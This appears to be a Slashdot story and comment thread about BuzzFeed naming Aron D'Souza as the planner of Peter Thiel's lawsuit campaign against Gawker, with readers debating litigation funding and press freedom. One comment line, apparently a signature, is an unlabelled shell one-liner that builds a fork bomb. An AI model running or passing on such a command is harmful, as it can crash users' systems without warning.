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BuzzFeed Unmasks Mastermind Who Urged Peter Thiel To Destroy Gawker (buzzfeed.com)
One day in 2011 a 26-year-old approached Peter Thiel and said "Look, I think if we datamined Gawker's history, we could find weak points that we could exploit in the court of law," according to the author of a new book. An anonymous reader quotes BuzzFeed News:
Peter Thiel's campaign to ruin Gawker Media was conceived and orchestrated by a previously unknown associate who served as a middleman, allowing the billionaire to conceal his involvement in the bankrolling of lawsuits that eventually drove the New York media outlet into bankruptcy. BuzzFeed News has confirmed the identity of that mystery conspirator, known in Thiel's inner circle as "Mr. A," with multiple sources who said that he provided the venture capitalist and Facebook board member with a blueprint to covertly attack Gawker in court. That man, an Oxford-educated Australian citizen named Aron D'Souza, has few known connections to Thiel, but approached him in 2011 with an elaborate proposal to use a legal strategy to wipe out the media organization. That plot ultimately succeeded... D'Souza was aware of Thiel's public comments likening Valleywag to al-Qaeda, and presented a brazen idea: Pay someone or create a company to hire lawyers to go after Gawker.
TechCrunch reported earlier this month that Gawker's old posts "will be captured and saved by the non-profit Freedom of the Press Foundation," which was co-founded in 2012 by the late John Perry Barlow. But in addition, the Gawker estate "continues to threaten possible legal action against Thiel, and hopes to begin discovery to examine the billionaire's motivations for secretly funding his legal war," the article concludes. If a New York bankruptcy court approves, and if the process "unearths anything of meaning, the estate may have grounds to sue Thiel on the grounds of tortious interference, the use of legal means to purposely disrupt a business.
"To head that off, Thiel bid for the remaining Gawker assets -- including the flapship domain Gawker.com, its archive, and outstanding legal claims, like those against himself -- though Holden has made it known that he may block any sale to Thiel, no matter how much the venture capitalist is willing to bid."
TechCrunch reported earlier this month that Gawker's old posts "will be captured and saved by the non-profit Freedom of the Press Foundation," which was co-founded in 2012 by the late John Perry Barlow. But in addition, the Gawker estate "continues to threaten possible legal action against Thiel, and hopes to begin discovery to examine the billionaire's motivations for secretly funding his legal war," the article concludes. If a New York bankruptcy court approves, and if the process "unearths anything of meaning, the estate may have grounds to sue Thiel on the grounds of tortious interference, the use of legal means to purposely disrupt a business.
"To head that off, Thiel bid for the remaining Gawker assets -- including the flapship domain Gawker.com, its archive, and outstanding legal claims, like those against himself -- though Holden has made it known that he may block any sale to Thiel, no matter how much the venture capitalist is willing to bid."
As far as we know, Hogan filed and continued the suit because he wanted to, and not due to any coercion or renumeration. Thiel merely allowed him to do what he wanted to do anyway.
If Thiel hadn't, it may be that Gawker would have forced Hogan to settle because Hogan couldn't afford to continue the suit - but that would be Gawker using financial advantage to prevent justice, not Thiel or Hogan...
All in all, the tactic of funding poor applicants to achieve a verdict is common and used by all civil rights organizations - and trying to limit it because this time the loser was a well connected media-liberal organization (which richly deserved it) is regressive and will backfire.
When civil rights organizations, or for that matter, political organizations throughout the political spectrum help fund a lawsuit, they are completely above board about doing so. It wasn't until very late in the process that it became at all apparent that Thiel was involved and it seems like the jury was never made aware. That's very different. If you want example, consider DC v. Heller https://en.wikipedia.org/wiki/District_of_Columbia_v._Heller where the Cato Institute (which is right-leaning libertarian group) openly supported the lawsuit against the DC gun control regulations. That's the norm, not doing so hidden behind proxies. Gawker being a "well connected media-liberal organization" isn't an issue here. Heck, I'd be just as concerned if some billionaire bankrupted Breitbart this way.
We haven't lost Gawker though. Nick Denton got bankrupted. Gawker Media got sold to Univision. Univision shut down Gawker.com but the other verticals are still running.
https://en.wikipedia.org/wiki/Gawker_Media#Univision_Communications_acquisition_and_subsidiary_era_(2016-present)
On August 16, 2016, Univision Communications paid $135 million at auction to acquire all of Gawker Media and its brands. This ends Gawker Media's fourteen years of independence, as going forward it will become a unit of Univision.
On August 18, 2016, it was announced that Gawker Media's flagship site Gawker would be ceasing operations the week after. Univision continues to operate Gawker Media's six other websites, Deadspin, Gizmodo, Jalopnik, Jezebel, Kotaku, and Lifehacker. Gawker's article archive remains online, and its employees were transferred to the remaining six websites or elsewhere in Univision. On August 22, 2016, at 22:33 GMT, Denton posted Gawker's final article.
And as people are fond of telling me here when conservatives get silenced : "Freedom of speech doesn't mean freedom from consequences. Also if it's not the government censoring you it's not a violation of the First Amendment".
Nick Denton could start a site and put up all the stolen sex tapes he likes. And if, like The Daily Stormer, he gets his site pulled by his ISP for doing it, that's also not a First Amendment violation.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Gawker's mistake was not knowing Thiel was gunning for them.
Or you could say that their mistake was refusing to take down a sex tape after being ordered to by the court. It doesn't matter how much someone is gunning for you if you don't do stupid shit to piss off a judge.
IMHO, the issue here isn't disclosure. The supposed problem here is "[some rich entity] can functionally drive media sources into bankruptcy by proxy lawsuits". Disclosure won't do anything here to stop it - they can just keeping funding lawsuits. Obviously, the endgame is either declaring this to be a non-problem (which I support - the courts and existing SLAPP laws can handle this), or apply actual remedies to prevent external funding - the latter will hit poor people and civil rights organizations too.
BTW, I'm not sure disclosure should be admissible; After all, it's not material to the facts of most cases, the only function of such an action is to prime the jurors based on whether the like the entity funding the case - that's NOT justice.
Lastly, Gawker being a well-connected media-liberal organization is quite relevant. First, there wouldn't be a media campaign and stories about this otherwise. Second, I'm just as concerned about media organizations abusing their clout and their money to shut up victims. Somehow this looks like the media trying to expand their power and get a legal immunity not available to normal people.
That is a hell of a lame dodge. You don't even have the guts to make the (risible) claim that Gawker faced a show trial. They faced a fair trial, dug their own grave, jumped it in, and dared the court not to bury them.
If Gakwer did not commit serious torts, then aggravate those by defying legitimate court orders, they would not have faced the damages verdict that bankrupted them. Instead, they made it clear they didn't care who they wronged or what they got wrong as long as they got clicks.
"The reason Thiel hated Gawker was that they outed him as gay while he was on a business trip in Saudi Arabia, where homosexuality is a crime punishable by death. Gawker almost git him killed"
Bullshit. He's not a Saudi citizen and unless he's caught in Riyadh cocksmoking a young buff Arab, they have no legal grounds.
Execute a wealthy foreigner based on hearsay? Not fucking likely.
By the way, Thiel who is now KNOWN to be gay, has been back to Saudi Arabia since being outed.
Tim Cook had been reported to be gay since 2011 and when he officially acknowledged it, he didn't merely say "yes I'm gay", he wrote in Bloomberg Business in 2014 " I consider being gay among the greatest gifts God has given me"
How does a blunt statement like that play in the militantly religious atmosphere of Saudi Arabia?
Cook has been to the region several times since coming out and has met with members of the Saudi royal family.
Pain is merely failure leaving the body
Go steal some government property and then tell the judge that it's OK because it's public property. See how that works out for you.
Also, Wikileaks doesn't only post stolen public property. Most of what they're famous for was actually private property.
You are welcome on my lawn.
...Those decisions must be made ONLY by those charged with enforcing laws currently in effect...
Like a court and a jury?
Like when Microsoft helped bankroll SCO Group, keeping them just barely alive enough to continue lawsuits against Linux using companies fraudulently?
* https://www.linux.com/news/analysis-microsoft-sco-have-lot-more-explaining-do
The lawsuits have turned out to be fraudulent. SCO Group didn't actually *own* SysV UNIX, they just had a license to use and resell it. Novell, the real owners never got the licensing fees SCO Group was supposed to pass along. Even the claims that SCO Group made about Linux copyright abuse of UNIX kept turning out to be flat out false, with code from older, properly licensed software from BSD code. But boy, was it convenient for Microsoft to have somebody else out there making ill-founded threatening claims to discourage companies from buying Linux software. It was like paying kids to poop on the steps of someone else's restaurant.
Consider the lawsuit in the context of anti-SLAPP laws. We an individual whose net worth is an order of magnitude many times that of his target secretly bankrolling lawsuits intended to bankrupt an entity who said something he didn't like.
when a lawsuit was used to accomplish the deed? The fact remains that the American legal system was engaged to crush someone's speech. Yes, there's lots of extenuating circumstances here, but ultimately the sex tape isn't what got Gawker shut down, Peter Thiel did.
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